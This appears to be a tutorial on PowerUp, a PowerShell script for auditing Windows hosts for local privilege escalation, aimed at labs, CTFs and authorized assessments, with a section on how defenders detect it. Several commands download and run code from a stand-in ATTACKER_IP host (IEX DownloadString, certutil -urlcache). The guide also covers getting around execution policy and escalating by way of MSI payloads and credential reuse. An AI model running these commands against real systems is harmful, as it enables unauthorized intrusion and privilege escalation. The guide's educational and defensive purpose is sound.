PowerUp
PowerUp is a PowerShell script from the PowerSploit project that audits a Windows host for common local privilege-escalation paths. It checks service misconfigurations (unquoted service paths, weak service permissions, modifiable service binaries), writable directories on the PATH, registry autoruns, AlwaysInstallElevated, stored credentials, and unattended-install files, then reports each finding so you can verify and act on it. It solves the “I have a low-privileged shell on Windows, now how do I get to SYSTEM or admin?” problem by doing the tedious checks for you.
You will run it on Windows boxes right after getting a foothold, in the same slot where linpeas sits on Linux. It enumerates and stages leads; it does not magically root the box. Every hit is something you confirm by hand.
What you will learn#
- How to get PowerUp onto a target and run it in memory
- How to read the audit output without trusting it blindly
- Which findings are usually high-signal (services, PATH, AlwaysInstallElevated)
- How to save the output so you can review it later
- Common mistakes and a commented cheat sheet you can paste into your notes
Legal and scope reminder#
Only run PowerUp on systems you own or are explicitly authorized to test. CTF boxes, your own Windows lab VMs, and dedicated practice ranges are all fair game. Anything else needs written permission and an agreed scope. Keep a short note of the target, the authorization, and the date next to your output. This section is the boring part that keeps the fun part legal.
Prerequisites#
- A shell on a Windows target (any user) and a way to transfer a file or run it in memory.
- PowerShell on the target. Most modern Windows hosts have it; PowerUp targets Windows PowerShell (5.1) and older.
- Basic Windows privesc literacy so you can act on findings (services, PATH, registry).
ATTACKER_IPis your own box serving the script; everything runs on an authorized lab target referred to asTARGET_IP.
Lab setup#
Keep every engagement in its own folder so the script, notes, and loot never mix.
# On your attacker box (Linux): one folder per box, with room for tooling and notes
mkdir -p ~/labs/winbox/{tools,loot,notes} && cd ~/labs/winbox
# Drop a copy of PowerUp.ps1 from the official PowerSploit project into tools/
# (download PowerUp.ps1, then serve it on your VPN/lab network)
cp /path/to/PowerUp.ps1 tools/PowerUp.ps1
Use private ranges for practice targets (10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16). Throughout this guide TARGET_IP is one Windows host you are
authorized to test and ATTACKER_IP is your own box serving files to it.
Installation#
PowerUp is a single PowerShell script, not a package. Common ways to get a copy:
# Kali ships a copy under PowerSploit:
ls /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 2>/dev/null
ls /usr/share/powersploit/Privesc/PowerUp.ps1 2>/dev/null
# Or keep your own copy in the lab folder (from the official PowerSploit project):
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 ~/labs/winbox/tools/
Prefer the copy that ships with your Kali PowerSploit package or the official
PowerSploit release. Both bundle the full set of Get-*, Invoke-*, and Test-*
functions PowerUp relies on.
Getting it onto the target#
PowerUp runs on the target, so you deliver it over the foothold you already have. The quickest route here:
# Serve PowerUp.ps1 from your attacker box (python3 -m http.server 8000), then load it in memory on the target:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerUp.ps1'); Invoke-AllChecks
That is just one option. For every transfer method and how to choose between them, see the file transfer methods guides.
Update process#
# Replace your local copy with the newest PowerSploit build, then re-serve it.
sudo apt update && sudo apt install --only-upgrade -y powersploit 2>/dev/null || true
# Or refresh your own clone of the official PowerSploit project and copy PowerUp.ps1 over.
PowerSploit is largely archived, so updates are rare. The value is in keeping a known-good copy that matches the function names in this guide.
Check if installed and available#
# On your attacker box: confirm you actually have the script before serving it
ls -l ~/labs/winbox/tools/PowerUp.ps1
head -n 5 ~/labs/winbox/tools/PowerUp.ps1 # should look like a PowerShell comment block
# On the target, after loading it: confirm the functions are available
Get-Command Invoke-AllChecks # should resolve to the loaded function
Get-Command -Module * -Name *Service* # see the service-related checks it exposes
If Get-Command Invoke-AllChecks errors with “not recognized,” the dot-source or IEX did
not run. Re-check the URL, re-load the script, and confirm the download actually returned
the file and not an error page.
First safe test#
On a lab box you control, load the script and run the full audit:
# Load the functions, then list what is available (harmless, read-only)
. C:\Windows\Temp\PowerUp.ps1
Get-Command Invoke-AllChecks
Success: Invoke-AllChecks resolves to a function. A real run prints a long report of
checks, each with a Check name and any findings. Failure is usually a transfer problem
(The term 'Invoke-AllChecks' is not recognized) or an execution-policy block, which you
can sidestep without changing system settings (see Troubleshooting).
Core concepts#
- It enumerates, it does not exploit. Each finding is a lead you verify and abuse by
hand. The
Invoke-*abuse functions exist, but treat their output as the audit first. Invoke-AllChecksis the one-shot driver: it runs every check and prints the results. This is the command you reach for 90 percent of the time.- Check categories map to privesc classes: services (unquoted paths, weak perms, modifiable binaries), PATH hijacking (writable PATH dirs and DLL hijack spots), registry (AlwaysInstallElevated, autoruns, stored creds), and unattended/answer files.
AbuseFunctionfield: many findings include the exact PowerUp function that would abuse them. Read it, do not blindly fire it on a shared lab box.- Output is text by default; add
-Format Listor pipe to a file so you can read and grep it later instead of scrolling. - Run context matters. Findings depend on your current user’s rights, so the same box can show different results for different users.
When this tool is useful#
- CTFs and labs: the first privesc pass on a fresh Windows foothold.
- Homelab hardening: see what an attacker would flag on your own Windows VM.
- Authorized assessments: quickly map local escalation options before going deep.
- Defensive validation: confirm a hardening change actually closed a weak service ACL or an AlwaysInstallElevated setting.
When not to use this tool#
- When you already know the vector (just verify and abuse it directly).
- On heavily monitored hosts where loading PowerSploit will trip EDR instantly.
- On modern, fully patched Windows where AMSI and Defender flag the raw script (you may need an obfuscated or alternative tool; in a lab, prefer disabling nothing and using a cleaner build).
- As proof of a vulnerability; PowerUp hints, you still confirm manually.
Command anatomy#
. .\PowerUp.ps1 ; Invoke-AllChecks [options] | Out-File checks.txt
# load script run every check save a copy to read later
- load: dot-source the file or IEX it so the functions enter the session.
- driver:
Invoke-AllChecksruns the full audit; individualGet-*checks run one category at a time. - options:
-Format Listfor readable output;-HTMLReportto drop an HTML summary. - save:
Out-Fileor| Tee-Objectso the scrollback does not eat your results.
Common flags and options#
| Option | Meaning | When to use it | Example |
|---|---|---|---|
Invoke-AllChecks | Run every check | Default first pass | Invoke-AllChecks |
-Format List | One finding per block | Reading long output | Invoke-AllChecks -Format List |
-HTMLReport | Write an HTML report | Sharing or archiving | Invoke-AllChecks -HTMLReport |
Get-ServiceUnquoted | Only unquoted service paths | Focused service check | Get-ServiceUnquoted |
Get-ModifiableServiceFile | Services with writable binaries | Service binary swap leads | Get-ModifiableServiceFile |
Get-ModifiableService | Services you can reconfigure | Weak service ACLs | Get-ModifiableService |
Get-RegistryAlwaysInstallElevated | AlwaysInstallElevated set | MSI privesc check | Get-RegistryAlwaysInstallElevated |
Get-ModifiablePath | Writable PATH directories | PATH/DLL hijack leads | Get-ModifiablePath |
Get-UnattendedInstallFile | Leftover answer files | Stored install creds | Get-UnattendedInstallFile |
Practical examples#
Each command below explains what it does and what to expect. All of them run on the authorized Windows target after the script is loaded.
# In-memory load + full audit (lowest disk footprint, lab use)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerUp.ps1')
Invoke-AllChecks
# Output: every check with its findings. Read the service and registry sections first.
# Load from disk, then run the full audit in readable list form
. C:\Windows\Temp\PowerUp.ps1
Invoke-AllChecks -Format List
# Output: one finding per block, easier to scan than the default table.
# Save the full audit to a file you can review and grep later
Invoke-AllChecks | Out-File -Encoding ascii C:\Windows\Temp\powerup.txt
# Then read it back or copy it to your box for comfortable review.
# Keep a color copy on screen and a saved copy at the same time
Invoke-AllChecks | Tee-Object -FilePath C:\Windows\Temp\powerup.txt
# Focused check: only unquoted service paths (a classic, easy-to-verify finding)
Get-ServiceUnquoted -Verbose
# Output: services whose ImagePath has spaces and no quotes; candidates for hijack.
# Focused check: services whose binary you can overwrite
Get-ModifiableServiceFile
# Output: a service plus the writable file and the AbuseFunction to use.
# Focused check: services you can reconfigure (weak ACL on the service object)
Get-ModifiableService
# Output: service name plus permissions you hold (e.g. ChangeConfig).
# Focused check: AlwaysInstallElevated (MSI files run as SYSTEM if set in both hives)
Get-RegistryAlwaysInstallElevated
# Output: True/False. True is a strong, well-known privesc path in labs.
# Focused check: writable directories on PATH (DLL/binary hijack leads)
Get-ModifiablePath -Path ($env:PATH -split ';')
# Output: PATH entries your user can write to. Verify the target program loads from there.
# Generate an HTML report for your notes/evidence folder
Invoke-AllChecks -HTMLReport
# Output: an .html file in the current directory summarizing every check.
Example workflow#
A realistic beginning-to-end pass on one authorized Windows box.
# 1. Foothold shell on the target, confirm scope (note target + authorization + date)
whoami /all # know which user context the checks will run as
# 2. Serve from your box, load PowerUp in memory, run the full audit, save it
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerUp.ps1')
Invoke-AllChecks -Format List | Tee-Object -FilePath C:\Windows\Temp\powerup.txt
# 3. Read the service section first (unquoted paths, modifiable binaries, weak ACLs),
# then registry (AlwaysInstallElevated), then PATH and unattended files
# 4. Verify the top lead by hand. Example: confirm an unquoted service path and your
# write access before considering the matching AbuseFunction
# 5. Document the exact finding and command that escalated; clean up the saved file
Remove-Item C:\Windows\Temp\powerup.txt
From here the finding decides the next move: a modifiable service binary or weak service ACL leads to a service-based escalation, AlwaysInstallElevated leads to an MSI payload built with msfvenom, and recovered creds feed evil-winrm or netexec.
Reading and interpreting output#
- Service checks:
Get-ServiceUnquoted,Get-ModifiableServiceFile, andGet-ModifiableServiceare the highest-signal hits. Each often includes anAbuseFunctionfield naming the exact follow-up. - AlwaysInstallElevated:
Trueis a clean, well-understood lab path. Confirm both the HKLM and HKCU values are set before relying on it. - Modifiable PATH: a writable PATH directory is a lead, not a win. You still need a program that loads a binary or DLL from there.
- Stored credentials / unattended files: boring sections that frequently hold the real answer. Read them even when the flashy service checks are empty.
- Empty output can mean the box is genuinely clean for your user, that AMSI blocked the script, or that you are running as an account with few rights. Re-check the load step.
- Everything PowerUp reports is “look here first,” not “guaranteed admin.” Always verify.
Common mistakes#
- Firing an
Invoke-*abuse function on a shared lab box before verifying the finding. - Running it but never reading past the service section, missing creds in answer files.
- Forgetting to save with
Tee-Object/Out-File, then losing the output to scrollback. - Assuming an empty result means a clean box when AMSI or Defender silently blocked the script load.
- Confusing PowerUp (PowerShell, audit + abuse) with WinPEAS (broad enumeration) or with the Windows PrivescCheck script; they overlap but are not the same tool.
- Leaving
PowerUp.ps1and report files on the target afterward. - Using stale function names from old tutorials after PowerSploit refactors.
Troubleshooting#
| Problem | Likely cause | Fix |
|---|---|---|
term 'Invoke-AllChecks' is not recognized | Script not loaded | Re-dot-source or IEX the file; confirm it downloaded |
| Download returns an error page | Wrong URL / server not running | Re-check python3 -m http.server, IP, and path |
running scripts is disabled | Execution policy | powershell -ep bypass or IEX the download string into the session |
| Script load fails silently | AMSI / Defender block | Lab only: use a cleaner build; do not weaken host security |
| No findings at all | Low-rights user or clean box | Re-run as the intended user; confirm the load actually ran |
| Garbled output | Default table too wide | Use -Format List or Out-File and read the file |
| Results differ from a tutorial | PowerSploit version changes | Confirm function names against your loaded copy |
Tools that pair well#
- linpeas is the Linux equivalent for the same slot right after a foothold; WinPEAS is the broad Windows enumerator that complements PowerUp.
- metasploit:
local_exploit_suggesterand service modules to follow up on a confirmed finding. - msfvenom: build the MSI or service binary payload an AlwaysInstallElevated or modifiable-service finding needs.
- evil-winrm / netexec: reuse any credentials PowerUp surfaces to move or re-authenticate.
- mimikatz: once you reach a higher-privilege context, pull further credentials.
- impacket: convert recovered creds into remote command execution across the lab.
Automation and note taking#
# Always keep a saved copy you can grep and attach to notes
Invoke-AllChecks -Format List |
Tee-Object -FilePath C:\Windows\Temp\powerup-$(Get-Date -Format yyyyMMdd-HHmm).txt
Copy the saved file back to your attacker box, record which finding you used and the exact command that escalated, and screenshot anything you will reference in a report. Keep the output, your scope note, and the timestamp together per target.
Blue-team visibility#
PowerUp is noisy in the right monitoring setup. Loading PowerSploit triggers AMSI, and
modern Defender/EDR flags the script and many of its function names outright. PowerShell
Script Block Logging (Event ID 4104) captures the loaded code, and Module Logging records
the called functions. The download cradle shows in PowerShell history and process command
lines, and certutil downloads are a well-known indicator. Defenders should alert on
PowerSploit signatures, suspicious certutil -urlcache use, IEX-from-WebClient cradles,
and bursts of service and registry queries from a low-privileged account.
Safer or lower-noise usage#
- Run targeted
Get-*checks instead of the fullInvoke-AllCheckswhen you only need one answer. - Prefer the in-memory cradle over writing the file, and clean up any saved reports.
- Verify a finding manually with built-in tools (
sc qc,icacls,reg query) before loading abuse functions, which keeps the noisy part minimal. - Test against one host first and confirm scope before loading anything.
Alternatives#
- WinPEAS: broader Windows enumeration with ranked, color-coded output; use it for breadth, PowerUp for focused service/registry abuse leads.
- PrivescCheck: a more current PowerShell privesc auditor that is often less flagged than PowerSploit on modern hosts.
- Seatbelt / SharpUp: C# tooling that performs similar checks and can dodge some PowerShell-specific detections.
- Manual checks:
sc qc,icacls,reg query,wmic servicewhen you want signal without loading a flagged script.
PowerUp wins for fast, well-named privesc leads with built-in abuse helpers; the C# and manual options win when PowerShell tooling is heavily monitored.
Deprecated and legacy notes#
- PowerUp ships inside PowerSploit, which is now largely archived and unmaintained, so expect AMSI and Defender to flag the raw script on modern Windows.
- The old
CrackMapExecworkflows for post-exploitation have largely shifted toward netexec; PowerUp itself predates much of the current PowerShell privesc tooling like PrivescCheck and SharpUp. - Some function names changed across PowerSploit revisions, so a name from an old guide may
have moved; confirm against your loaded copy with
Get-Command.
Quick reference cheat sheet#
# --- Deliver + load (target) ---
# In-memory cradle (lowest disk footprint, lab)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerUp.ps1')
# Save to disk, then dot-source
certutil -urlcache -f http://ATTACKER_IP:8000/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1
. C:\Windows\Temp\PowerUp.ps1
# --- Full audit ---
Invoke-AllChecks # default, run every check
Invoke-AllChecks -Format List # readable, one finding per block
Invoke-AllChecks -HTMLReport # drop an HTML summary for notes
# --- Save output ---
Invoke-AllChecks | Tee-Object -FilePath C:\Windows\Temp\powerup.txt # screen + file
Invoke-AllChecks | Out-File -Encoding ascii C:\Windows\Temp\powerup.txt
# --- Focused checks ---
Get-ServiceUnquoted # unquoted service paths
Get-ModifiableServiceFile # services with writable binaries
Get-ModifiableService # services you can reconfigure
Get-RegistryAlwaysInstallElevated # MSI-as-SYSTEM check (want True)
Get-ModifiablePath -Path ($env:PATH -split ';') # writable PATH dirs
Get-UnattendedInstallFile # leftover answer files with creds
# --- Verify before abusing (built-in, low noise) ---
sc qc SERVICE_NAME # confirm a service's binary path/config
icacls "C:\Path\To\service.exe" # confirm your write access
reg query HKLM\Software\Policies\Microsoft\Windows\Installer # AlwaysInstallElevated
Mini decision tree#
- Fresh Windows shell: load PowerUp, run
Invoke-AllChecks, save withTee-Object. - Output too long: use
-Format Listor save it and grep the file. - Service finding (unquoted/modifiable): verify with
sc qcandicacls, then abuse. - AlwaysInstallElevated is True: build an MSI with msfvenom.
- Script will not load:
powershell -ep bypass, or suspect AMSI on a modern host. - Found credentials: feed them to evil-winrm or netexec.
Final checklist#
- Host is in scope, with authorization and date noted next to the output
- Script loaded in memory or from a temp path you will clean up
- Full
Invoke-AllChecksrun, output saved (Tee-Object/Out-File) and reviewed - Top lead verified by hand (
sc qc,icacls,reg query) before abusing - Script + report files cleaned off the target
- No real third-party targets or real credentials used
Final summary#
PowerUp is the fastest way to map Windows local privesc options from a fresh shell, in the
same slot linpeas fills on Linux. The quickest start is to
serve PowerUp.ps1 from your box, IEX it into the target session, and run
Invoke-AllChecks -Format List | Tee-Object powerup.txt. The most important mistake to
avoid is firing an abuse function on a finding you have not verified, or assuming an empty
result is a clean box when AMSI quietly blocked the load. Learn WinPEAS and PrivescCheck
next for broader, more current coverage on modern Windows.